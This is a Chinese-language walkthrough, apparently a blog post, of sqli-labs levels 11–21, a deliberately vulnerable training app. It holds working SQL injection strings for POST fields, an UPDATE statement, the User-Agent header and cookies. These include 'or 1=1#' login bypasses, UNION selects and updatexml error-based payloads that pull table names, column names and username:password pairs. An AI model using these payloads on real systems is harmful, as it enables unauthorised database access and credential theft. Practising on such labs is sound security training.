sql-labs post注入点 http头部 / update等语句

 第11,题:请求方式

11.post请求

sql-labs post注入点 http头部 / update等语句_第1张图片

login登录  账户密码必是字符串类型

随便输账户密码

sql-labs post注入点 http头部 / update等语句_第2张图片

因为是post请求,查看页面源代码查看参数

sql-labs post注入点 http头部 / update等语句_第3张图片

构造post请求,先看uname是否存在注入点 uname=asdas' or 1=1 #&passwd=&submit=Submit

sql-labs post注入点 http头部 / update等语句_第4张图片登陆成功

再看下passwd是否存在注入点  uname=asdas&passwd=dfsdf' or 1=1#&submit=Submit

sql-labs post注入点 http头部 / update等语句_第5张图片也可以登录

所以uname和passwd都可以为注入点

剩余操作如第一题

12.基于(" ")闭合的post请求

uname=admin"&passwd=admin&submit=Submit 

说明sql语句为(" ")闭合

post请求注入

uname=dsfsdf")  union select 1,database()#&passwd=admin&submit=Submit

sql-labs post注入点 http头部 / update等语句_第6张图片

13基于(' ')闭合的post请求

uname=dsfsdf'&passwd=admin&submit=Submit

 14.基于" "闭合的post请求

15.基于' '的闭合和无回显和报错的post请求

uname=dsfsdf' or 1=1#&passwd=admin&submit=Submit

sql-labs post注入点 http头部 / update等语句_第7张图片

尝试报错注入uname=dsfsdf' and updatexml(1,contact(database()),1)#&passwd=admin&submit=Submit

sql-labs post注入点 http头部 / update等语句_第8张图片

说明mysql_error()被注释掉了

所以只能使用布尔盲注和延时盲注

16.基于(' ')的闭合和无回显和报错的post请求

uname=dsfsdf") or 1=1#&passwd=admin&submit=Submit 

sql-labs post注入点 http头部 / update等语句_第9张图片

17.更新数据update时有注入点,此题注入点为password

知识点:

select 查询数据
在网站应用中进行数据显示查询效果
例: select * from news wher id=$id

insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,'x','$t')

delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id

update 更新数据
会员或后台中心数据同步或缓存,修改密码等操作
例:update user set pwd='$p' where id=2 and username='admin'

order by 排列数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order

Order by排序注入方法小总结 - 简书 (jianshu.com)

php自带防护魔术引号

sql-labs post注入点 http头部 / update等语句_第10张图片

 本题可用报错注入,布尔盲注,延时盲注

 18.user-agent

sql-labs post注入点 http头部 / update等语句_第11张图片

构造uname=

a' or 1 = 1#

a') or 1 = 1#

a')) or 1 = 1#

a" or 1 = 1#

a") or 1 = 1#

a")) or 1 = 1#

页面都没有回显并且都登陆失败了,说明uname和passwd都不存在注入点

用admin/admin登录后,回显user-agent

sql-labs post注入点 http头部 / update等语句_第12张图片

 说明user-agent可能有注入点

在bp中尝试

 

出现报错 

sql-labs post注入点 http头部 / update等语句_第13张图片

 分析可知

sql-labs post注入点 http头部 / update等语句_第14张图片

此时

在注入的两个单引号之间可以插入其他 Sql 语句,在这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 updatexml() 报错时要用 OR 进行连接。

没有回显使用报错注入

User-Agent: ' OR updatexml(1,concat('!',database()),2) OR '

sql-labs post注入点 http头部 / update等语句_第15张图片

知道数据库名security

爆表名
' OR updatexml(1,concat('~',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),'~'),3) OR '

sql-labs post注入点 http头部 / update等语句_第16张图片

爆字段名
' OR updatexml(1,concat('~',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security'AND table_name='users'),'~'),3) OR '

 sql-labs post注入点 http头部 / update等语句_第17张图片

爆字段值 
' OR (updatexml(1,concat('~',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '  

 sql-labs post注入点 http头部 / update等语句_第18张图片

 接着修改LIMIT 1,1/2,1....得到所有的字段值

contact(str1,str2)连接字符串函数

 20.cookie' '闭合

与18一样尝试过后uname和passwd不存在注入点

用admin/admin登录后,回显

sql-labs post注入点 http头部 / update等语句_第19张图片

 暗示是cookie

刷新页面,发现无需再登陆仍登录后的页面,在bp中抓的包出现了

可能在cookie的uname中存在注入点

构造

 回显报错

sql-labs post注入点 http头部 / update等语句_第20张图片

 所以存在字符型注入点

加上注释

正常回显

sql-labs post注入点 http头部 / update等语句_第21张图片 说明sql为单引号闭合

其余操作与第一题相同,只不过在cookie处构造

21.cookie注入(' ')闭合+base64加密

admin登录 

sql-labs post注入点 http头部 / update等语句_第22张图片

uname为base64加密,提示cookie

burp抓包

decoder解码

sql-labs post注入点 http头部 / update等语句_第23张图片

注入

 sql-labs post注入点 http头部 / update等语句_第24张图片

sql-labs post注入点 http头部 / update等语句_第25张图片

你可能感兴趣的:(sql注入,sql)